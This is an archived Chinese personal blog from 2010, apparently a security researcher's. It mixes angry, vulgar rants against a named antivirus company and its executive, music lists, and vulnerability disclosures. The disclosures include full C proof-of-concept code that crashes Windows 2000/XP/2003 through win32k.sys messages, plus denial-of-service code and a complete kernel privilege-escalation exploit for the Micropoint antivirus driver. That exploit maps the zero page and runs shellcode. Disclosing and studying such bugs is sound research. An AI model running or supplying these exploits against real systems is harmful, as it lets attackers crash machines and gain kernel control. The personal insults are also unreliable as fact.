文章列表
 
您正在查看 "默认分类" 分类下的文章

2010-05-25 13:34

国内外各大权威机构竞相公布金山网盾高危漏洞,金山李铁军“绝无漏洞”,“纯属诽谤”的谎言就像“检出率全球第一(倒数)”的笑话一样,三天即破

美国国家漏洞库,美国国家信息安全应急小组:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2031

国外权威信息安全网站SecurityFocus:

http://www.securityfocus.com/bid/40342/discuss

IBM网络安全漏洞库Xforce:

http://xforce.iss.net/xforce/xfdb/58780

国外著名漏洞库OSVDB:

http://osvdb.org/show/osvdb/64833

俄罗斯安全实验室SecurityLab.ru

http://en.securitylab.ru/nvd/394192.php

中国国家信息安全漏洞库,认证为"高危”漏洞

http://www.cnvd.org.cn/vulnerability/CNVD-2010-00979

国外的权威漏洞机构Secunia:

http://secunia.com/advisories/39916/

国内著名漏洞库:

http://sebug.net/vulndb/19676/

国内著名信息安全、安全设备厂商绿盟科技:

http://www.nsfocus.net/vulndb/15087

UPDATE:5-24 14:00 中国国家漏洞库被金山和谐,期待金山公关继续展示流氓实力,一举和谐美帝国家漏洞库

 
2010-05-25 10:24
说到岳不群想到段话,关于检出率全球第一(倒数),其实是这样的

你跟岳不群打交道,用他的话语体系——武林正义同气连枝——是永远说不过他的,要想打败他就得出狠招:揪掉他的假胡子,扒掉他的血内裤,再把他赤条条推到群众面前才行。

对付赵忠祥也一样,你跟他心平气和的讲道理,他会用他磁性的男中音把你迷糊住,让你最后觉得是赵老师被迷奸了,所以最好的办法就是二话不说,直接把录音带一把摔他脸上。


你跟XX打交道,你说X的,你为什么XXXX,XXXX,XXXX,简直就是XXXX,XXX!,他会告诉你:工作人员笔误,最好的办法就是二话不说,把他的血内裤全抖出来,然后再补上两脚,直接给踹出华山
 
2010-05-23 20:44

正在 Ping exploit-db.com [208.68.234.102] 具有 32 字节的数据:
来自 208.68.234.102 的回复: 字节=32 时间=616ms TTL=239
来自 208.68.234.102 的回复: 字节=32 时间=625ms TTL=239
来自 208.68.234.102 的回复: 字节=32 时间=626ms TTL=239
来自 208.68.234.102 的回复: 字节=32 时间=637ms TTL=239

 
2010-05-23 17:13

强力转帖:

http://www.exploit-db.com/exploits/12710

http://sebug.net/vulndb/19676/

傻逼金山李铁军刚出声明说绝对没漏洞,菊花迅速被老外捅了


 
2010-04-22 19:47

Windows 2000/XP/2003 win32k.sys SfnINSTRING 本地内核拒绝服务漏洞

影响范围:Microsoft Windows 2000/XP/2003 全补丁

漏洞细节:

Win32k.sys 在DispatchMessage时,会最后调用到xxxDefWindowProc,这个函数在处理某些消息时,会调用gapfnScSendMessage这个函数表中的函数来处理,其中2000/xp/2003下在处理0x18d号消息时,会有一个名为SfnINSTRING的函数,这个函数当lParam不为空时,直接认为lParam是内存指针,并直接从地址中取出数据,尽管函数内使用了SEH,但是只要传递错误的内核地址,仍然会引发系统崩溃

测试代码:

#include "stdafx.h"
#include "windows.h"
int main(int argc, char* argv[])
{

printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();
HWND hwnd = FindWindow("DDEMLEvent" , NULL);

if (hwnd == 0 )
{
   printf("cannot find DDEMLEvent Window!\n");
   return 0 ;
}

PostMessage(hwnd , 0x18d , 0x0 , 0x80000000);


return 0 ;
}

全补丁的XP运行此代码立即蓝屏

常见崩溃栈:

kd> kc

win32k!SfnINSTRING
win32k!xxxDefWindowProc
win32k!xxxEventWndProc
win32k!xxxDispatchMessage
win32k!NtUserDispatchMessage
....

Windows 7/Vista 无此问题

感谢:

感谢同事LYL帮忙测试发现此漏洞

 
2010-04-22 17:58

影响范围:Microsoft Windows 2000/XP/2003 全补丁

漏洞细节:

Win32k.sys 在DispatchMessage时,会最后调用到xxxDefWindowProc,这个函数在处理某些消息时,会调用gapfnScSendMessage这个函数表中的函数来处理,其中2000/xp/2003下在处理0x4c号消息时,会有一个名为SfnLOGONNOTIFY 的函数,这个函数再当wParam == 4/13/12时,直接从lParam里取出数据,尽管函数内使用了SEH,但是只要传递错误的内核地址,仍然会引发系统崩溃

伪代码:

if ( wParam == 4 || wParam == 13 || wParam == 12 )
{
    v18 = *(_DWORD *)lParam;
    v19 = *(_DWORD *)(lParam + 4);
    v20 = *(_DWORD *)(lParam + 8);
    v21 = *(_DWORD *)(lParam + 12);

测试代码:

#include "stdafx.h"
#include "windows.h"
int main(int argc, char* argv[])
{

printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();
HWND hwnd = FindWindow("DDEMLEvent" , NULL);

if (hwnd == 0 )
{
   printf("cannot find DDEMLEvent Window!\n");
   return 0 ;
}

PostMessage(hwnd , 0x4c , 0x4 , 0x80000000);


return 0 ;
}

全补丁的XP运行此代码立即蓝屏

常见崩溃栈:

kd> kc

win32k!SfnLOGONNOTIFY
win32k!xxxDefWindowProc
win32k!xxxEventWndProc
win32k!xxxDispatchMessage
win32k!NtUserDispatchMessage
....

Windows 7/Vista 无此问题

感谢:

感谢同事LYL帮忙测试发现此漏洞

 
2010-04-22 16:11

影响范围:Windows 2000/XP/2003/Vista 全补丁

在Win32k!NtUserDestroyWindow->xxxDestroyWindow时,试图为子窗口销毁IME窗口时,会调用ImeCanDestroyDefIMEforChild这个函数,这个函数会在一个while循环中取得窗口的父窗口,试图确定窗口的子窗口和当前销毁的窗口是否是属于同一个线程的,大概代码如下:

if (pwndDestroy->spwndParent == NULL)

return FALSE ;

pwnd = pwndDestroy;

     while (pwnd != NULL && pwnd != GetDesktopWindow(pwnd)) {

         if (IsChildSameThread(pwnd->spwndParent, pwndDestroy))

             return FALSE;

         pwnd = pwnd->spwndParent;

}

明显看到这个循环是有问题的,IsChildSameThread中不会做任何检查就直接使用第一个窗口对象参数,如果第一个窗口的父窗口不为空,且和要销毁的窗口父窗口不是一个窗口,且要销毁的窗口的父窗口的任何一个父窗口为空,就会因为访问0地址而崩溃

在Windows 7中(我看的7100版的WIN32K.SYS),修复了这个问题,代码修改成了:

pwnd = pwndDestroy->spwndParent;

     while (pwnd != NULL && pwnd != GetDesktopWindow(pwnd)) {

         if (IsChildSameThread(pwnd, pwndDestroy))

             return FALSE;

         pwnd = pwnd->spwndParent;

}

 
2010-04-13 21:05

漏洞涉及产品:微点主动防御100323.1.2.10581.0278.r1及以下版本

mp110013.sys <= 1.3.10123.0

漏洞影响:

通过漏洞攻击者在最低系统权限下执行内核权限代码,从而可以突破任何存在的安全防护软件,包括沙盘、主动防御、杀毒软件、防火墙、HIPS、UAC和系统安全设置

漏洞详细原理和利用方法

微点主动防御的驱动程序Mp110003.sys中存在这样一个功能,允许用户提供PspCreateProcessNotifyRoutineCount和PspCreateProcessNotifyRoutine 相对于ntoskrnl的偏移,提供后,微点将在mp110003中处理这个偏移,从偏移地址获取PspCreateProcessNotifyRoutine数组,并寻找自己在其中注册的项目,将此项目位置作为数值A

接着在其对于NtCreateProcessEx的钩子和系统线程中,高频率检查PspCreateProcessNotifyRoutineCount中的数值是否小于数值A,如果小于,则关闭系统内存写保护,并将数值A写回到PspCreateProcessNotifyRoutineCount指向的内存

由于偏移地址可随意指定,因此用户态的程序可以使微点驱动写入任意内核地址,但这个漏洞的利用条件实际是比较苛刻的,需要满足下面3个条件:

(1).由于微点会开启系统线程去访问PspCreateProcessNotifyRoutineCount和PspCreateProcessNotifyRoutine,因此我们不能指定一个位于用户态内存的地址。

(2).PspCreateProcessNotifyRoutine又必须满足要存在一项微点自己的回调函数,这是比较困难的,因为NotifyRoutine的结构在XP下有一点麻烦,最好是使用原始的地址了。

(3).PspCreateProcessNotifyRoutineCount指向的内存中的数值必须小于当前真正的回调函数个数,又能被某一个RING3程序可以调用的系统调用访问或执行,因为系统只允许最多8个回调函数,所以最终写入数值只可能是1~8之间,因此必须申请0号地址内存去执行。

这里我使用了PspLegoNotifyRoutine这个东东,这个回调首先系统通常是空的,满足条件3,同时可以通过线程的结束来控制,这个通知条件是KThread->LegoData不为空,由于这个地址通常也是空的,因此我们同样可以利用这个漏洞来将其设为非空,最后由于我们需要申请0号地址来执行代码,因此不能用进程主线程干这个事,因为LegoNotfiy 执行时机在PspExitThread中比较晚,那时如果是主线程销毁,进程的VM已经被销毁了。

利用程序:http://mj0011.ys168.com 漏洞演示目录下mp0day1.exe

漏洞利用的结果是在内核态向系统所有进程的ntdll.dll基址偏移0x8写入“6543”

这里利用程序有一些平台相关的处理,懒得做兼容了,目前只支持XP。

利用代码如下:

// mp0day1.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "windows.h"
#include "shlwapi.h"
#pragma comment(lib , "shlwapi.lib")

VOID __declspec(naked) ShellCode()
{
__asm
{
   pushad
   mov eax , cr0
   push eax
   and eax, 0xFFFEFFFF
   mov cr0 , eax
   cli
   mov eax , 0xAAAA5555
   mov dword ptr[eax] , 0x33343536
   sti
   pop eax
   mov cr0 , eax
   popad
   ret 0x4
}
}
VOID __declspec(naked) nopfunc()
{
__asm{mov edi ,edi
   nop };
}
enum { SystemModuleInformation = 11,
   SystemHandleInformation = 16 };
typedef struct {
    ULONG   Unknown1;
    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
LONG status;
HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");
do
{
   mPtr = malloc(mSize);
   if (mPtr)
   {
    __asm
    {
     push 0
     push mSize
     push mPtr
     push ATableType
     call pZwQuerySystemInformation
     mov status , eax
    }
   
   }
   else
   {
    return NULL;
   }
   if (status == 0xc0000004)
   {
    free(mPtr);
    mSize = mSize * 2;
   }
} while (status == 0xc0000004);

if (status == 0)
{
   return mPtr;
}

free(mPtr);
return NULL;
}
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

DWORD WINAPI LegoThread(LPVOID lpThreadParameter)
{
while(TRUE)
{
   Sleep(0x1000);

}
return 0 ;
}
int main(int argc, char* argv[])
{
DWORD dwVersion = 0;
DWORD dwMajorVersion = 0;
DWORD dwMinorVersion = 0;


    dwVersion = GetVersion();

    // Get the Windows version.

    dwMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
    dwMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));

if (dwMajorVersion != 5 || dwMinorVersion != 1)
{
   printf("POC for XP only\n");
   getchar();
   return 0 ;
}

printf("Micropoint Mp110003.sys <= 1.3.10123.0 Local Privilege Escalation Vulnerability POC\n"
   "by MJ0011 th_decoder@126.com\n"
   "Press Enter\n");

getchar();
   
HANDLE hDev = CreateFile("\\\\.\\mp110013" ,
   0 ,
   FILE_SHARE_READ | FILE_SHARE_WRITE ,
   0,
   OPEN_EXISTING,0,
   0
   );

if (hDev == INVALID_HANDLE_VALUE)
{
   printf("cannot open device %u\n" , GetLastError());
   return 0 ;
}


    PVOID BaseAddress             = (PVOID) 1;
    ULONG RegionSize              = (ULONG) 0;
PVOID pNtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");
PVOID pNtFreeVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtFreeVirtualMemory");

ULONG status ;

    __asm
{
   push 0x8000
   lea eax , RegionSize
   push eax
   lea eax , BaseAddress
   push eax
   push 0xffffffff
   call pNtFreeVirtualMemory
   mov RegionSize,0x1000
   push 0x40
   push 0x3000
   lea eax , RegionSize
   push eax
   push 0
   lea eax , BaseAddress
   push eax
   push 0xffffffff
   call pNtAllocateVirtualMemory
   mov status , eax
}

if (status != 0 )
{
   printf("allocate 0 memory failed %08x\n" , status);
   return 0 ;
}
//set nop code
ULONG codesize = (ULONG)nopfunc - (ULONG)ShellCode;

memset((PVOID)0 , 0x90 , 0x8);
memcpy((PVOID)0x8 , ShellCode , codesize);
ULONG i ;
for (i = 0x8 ; i < codesize+0x8 ; i++)
{
   if (*(DWORD*)i == 0xAAAA5555)
   {
    *(DWORD*)i = (DWORD)(GetModuleHandle("ntdll.dll") + 0x2);
    break ;
   }
}

PSYSTEM_MODULE_INFORMATION pModInfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);

if (pModInfo == 0 )
{
   printf("get info table failed!\n");
   return 0 ;
}

ULONG Tid ;

HANDLE hThread = CreateThread(0 , 0 , LegoThread , 0 , 0 , &Tid);
if (hThread == 0 )
{
   printf("cannot open thread %u\n",GetLastError());
   return 0 ;
}
//SystemHandleInformation=16
PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)GetInfoTable(16);
if (pHandleInfo == 0 )
{
   printf("cannot get handle info\n");
   return 0 ;
}
ULONG ThreadObject =0;

for (i = 0 ; i < pHandleInfo->NumberOfHandles ; i ++)
{
   if (pHandleInfo->Information[i].UniqueProcessId == GetCurrentProcessId() &&
    pHandleInfo->Information[i].HandleValue == (USHORT)hThread)
   {
    ThreadObject = (ULONG)pHandleInfo->Information[i].Object;
    break ;
   }
}
if (ThreadObject == 0 )
{
   printf("cannot get thread object!\n");
   return 0 ;
}
ThreadObject+=0xd0;



HMODULE hkernel = LoadLibraryA(strrchr(pModInfo->Module[0].ImageName, '\\') + 1);
if (hkernel == 0 )
{
   printf("kernel mapping error %u\n" , GetLastError());
   return 0 ;
}

ULONG PsSetLegoNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetLegoNotifyRoutine");
ULONG PspLegoNotifyRoutine = 0 ;

if (PsSetLegoNotifyRoutine ==0)
{
   printf("PsSetLegoNotifyRoutine==0");
   return 0 ;
}

for (i = PsSetLegoNotifyRoutine ; i < PsSetLegoNotifyRoutine + 0x10 ; i ++)
{
   if (*(BYTE*)i == 0xa3 && *(BYTE*)(i + 5 == 0xb8 ) && *(DWORD*)(i + 6 )==0xd0)
   {
    PspLegoNotifyRoutine = *(ULONG*)(i +1);
    break ;
   }
}

if (PspLegoNotifyRoutine == 0 )
{
   printf("bad PsSetLegoNotifyRoutine\n");
   return 0 ;
}
ULONG PsSetCreateProcessNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetCreateProcessNotifyRoutine");
ULONG PspCreateProcessNotifyRoutine= 0 ;

if (PsSetCreateProcessNotifyRoutine==0)
{
   printf("PsSetCreateProcessNotifyRoutine==0!\n");
   return 0 ;
}

for (i = PsSetCreateProcessNotifyRoutine ; i < PsSetCreateProcessNotifyRoutine + 0x30 ; i ++)
{
   if (*(BYTE*)i == 0xbf && *(WORD*)(i + 5) == 0xe857)
   {
    PspCreateProcessNotifyRoutine = *(ULONG*)(i + 1);
    break ;
   }
}

if (PspCreateProcessNotifyRoutine ==0)
{
   printf("bad PsSetCreateProcessNotifyRoutine!\n");
   return 0 ;
}

PIMAGE_DOS_HEADER doshdr ;
PIMAGE_NT_HEADERS nthdr ;
doshdr = (PIMAGE_DOS_HEADER )(hkernel);
nthdr = (PIMAGE_NT_HEADERS)((ULONG)hkernel + doshdr->e_lfanew);

PspLegoNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase;
PspCreateProcessNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase;
FreeLibrary(hkernel);
ULONG PspLegoNotifyRoutineOff = (ULONG)PspLegoNotifyRoutine - (ULONG)pModInfo->Module[0].Base ;
ULONG PspCreateProcessNotifyRoutineOff = (ULONG)PspCreateProcessNotifyRoutine - (ULONG)pModInfo->Module[0].Base;
ULONG btr ;
ULONG InputBuffer[3] = {0x0 , PspCreateProcessNotifyRoutineOff , PspLegoNotifyRoutineOff };

if (!DeviceIoControl(hDev ,
   0x800001A4,
   &InputBuffer ,
   sizeof(ULONG)*3 ,
   NULL,
   0,
   &btr ,
   0))
{
   printf("device io control failed %u\n", GetLastError());
   return 0 ;
}

PVOID pNtCreateProcessEx = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtCreateProcessEx");
HANDLE hProc ;

__asm
{
   push 0
   push 0
   push 0
   push 0
   push 0
   push 0x1
   push 0
   push 0
   lea eax ,hProc
   push eax
   call pNtCreateProcessEx
}
ULONG ThreadLegoDataOff = ThreadObject - (ULONG)pModInfo->Module[0].Base ;

InputBuffer[2] = ThreadLegoDataOff;
if (!DeviceIoControl(hDev ,
   0x800001A4,
   &InputBuffer ,
   sizeof(ULONG)*3 ,
   NULL,
   0,
   &btr ,
   0))
{
   printf("device io control failed %u\n", GetLastError());
   return 0 ;
}


__asm
{
   push 0
    push 0
    push 0
    push 0
    push 0
    push 0x1
    push 0
    push 0
    lea eax ,hProc
    push eax
    call pNtCreateProcessEx
}


TerminateThread(hThread , 0 );

printf("POC Executed\n");
getchar();
return 0;
}

 
2010-04-09 11:15
如果一个触摸屏设备配上了笔,那就很傻。同理,如果一个多任务处理的设备提供了杀进程的功能,那就很傻。为什么要求用户学会去使用进程管理软件?用户不知道这个东西最好。
 
2010-04-06 20:13

产品版本:微点主动防御:mp.100323.1.2.10581.0278.r1

文件版本:mp110013.sys 1.3.10123.0 timestamp:4BA1863F checksum 1e7b8

问题:没有正确处理NtSystemDebugControl WriteVirtual/WritePhysical 中的 Address/Buffer成员,引发拒绝服务漏洞


测试程序:http://mj0011.ys168.com 漏洞演示目录下 mpbsod_fun_2.rar,运行后系统即崩溃

typedef struct _SYSDBG_VIRTUAL {
    PVOID Address;
    PVOID Buffer;
    ULONG Request;
} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL;
int main(int argc, char* argv[])
{

printf("Micropoint Local D.O.S Vulnerability\n"
   "BSOD Micropoint for fun!\n"
   "By MJ0011\nth_decoder$126.com\n\nPress Enter...\n");
getchar();

SYSDBG_VIRTUAL sbv ;
sbv.Address = (PVOID)0x80000000;

PVOID pAddr = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtSystemDebugControl");

__asm
{
   push 0
   push 0
   push 0
   lea eax , sbv
   push eax
   push 0xb
   call pAddr
}
return 0;
}

 
2010-04-06 19:44

产品版本:微点主动防御:mp.100323.1.2.10581.0278.r1

文件版本:mp110013.sys 1.3.10123.0 timestamp:4BA1863F checksum 1e7b8

问题:不正确地处理NtSetSystemTime的参数,引发本地拒绝服务漏洞

测试程序:http://mj0011.ys168.com 漏洞演示目录下 mpbsod_fun.rar

POC code:

int main(int argc, char* argv[])
{
printf("Micropoint Local D.O.S Vulnerability\n"
   "BSOD Micropoint for fun!\n"
   "By MJ0011\nth_decoder$126.com\n\nPress Enter...\n");
getchar();
PVOID pAddr = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtSetSystemTime");

__asm
{
   push 0x80000000
   push 0x80000000
   call pAddr
}
return 0;
}

 
2010-03-29 16:05

Pg.lost.-.[It's.Not.Me,It's.You!]

Booker.T.&.The.M.G.'s.-.[Green.Onions]

NEIL.ZAZA.-.[Staring.At.The.Sun]

Immanu.El.-.[They'll.Come,They.Come]

The.Album.Leaf.-.[In.a.Safe.Place]

Moonlit.Sailor.-.[So.Close.To.Life]

Moonlit.Sailor.-.[A.Footprint.Of.Feelings]

El.Ten.Eleven.-.[Every.Direction.Is.North].

Hungry.Lucy.-.[To.kill.A.king]

If These Trees Could Talk - 2009 - Above The Earth, Below The Sky

Eskimo.Joe.-.[A.Song.Is.A.City]

 
2010-03-21 2:51

无意中看到的,从Windows NT4开始,Windows内核就存在着这处BUG,即开发者将PspJobMapping的GERERIC_ALL域误定义为了THREAD_ALL_ACCESS,而实际应为JOB_OBJECT_ALL_ACCESS

即:

GENERIC_MAPPING PspJobMapping = {
    STANDARD_RIGHTS_READ |
        JOB_OBJECT_QUERY,
    STANDARD_RIGHTS_WRITE |
        JOB_OBJECT_ASSIGN_PROCESS | JOB_OBJECT_SET_ATTRIBUTES | JOB_OBJECT_TERMINATE,
    STANDARD_RIGHTS_EXECUTE |
        SYNCHRONIZE,
    THREAD_ALL_ACCESS
};

在NT4/2K/XP/2K3的代码上一直存在这个问题,直到Windows Vista才修改,THREAD_ALL_ACCESS为0x1F03FF,而JOB_OBJECT_ALL_ACCESS为0x1F001F,也就是说申请了JOB对象的GENERIC_ALL权限的调用者将获得0x1F03FF的实际权限,实际应该也不会造成什么影响,笔误而已。

这么个BUG直到VISTA才发现,可见VISTA对NT源码的REVIEW很强,很多BUG和猥琐XX都被发现并修复了~

 
2010-03-14 23:58

If These Trees Could Talk

Bang.Gang

Eskimo.Joe

Do.Make.Say.Think

Childs

Moving.Mountains

Mortifera

Russian.Circles

El Ten Eleven

Mediavolo

Hungry Lucy

 
2010-03-08 19:48
如题
 
   
 
 
文章分类
 
   
 
文章存档
 
     
 
最新文章评论
  

首先膜拜一下MJ0011 我是学校计算机专业的,在学校修电脑的帮人家搞搞电脑小问题,半
 

祝賀!小妹永遠發貼各種高清的免費下載點!邀您互訪!
 

LS的,对岸的大牛也不少~~呵呵~
 

膜拜膜拜~~~
 

怎么说MD现在也是360的,这么说是不是自己讽刺自己呢? MD不更新 也没人管 ---------
   
帮助中心 | 空间客服 | 投诉中心 | 空间协议
©2012 Baidu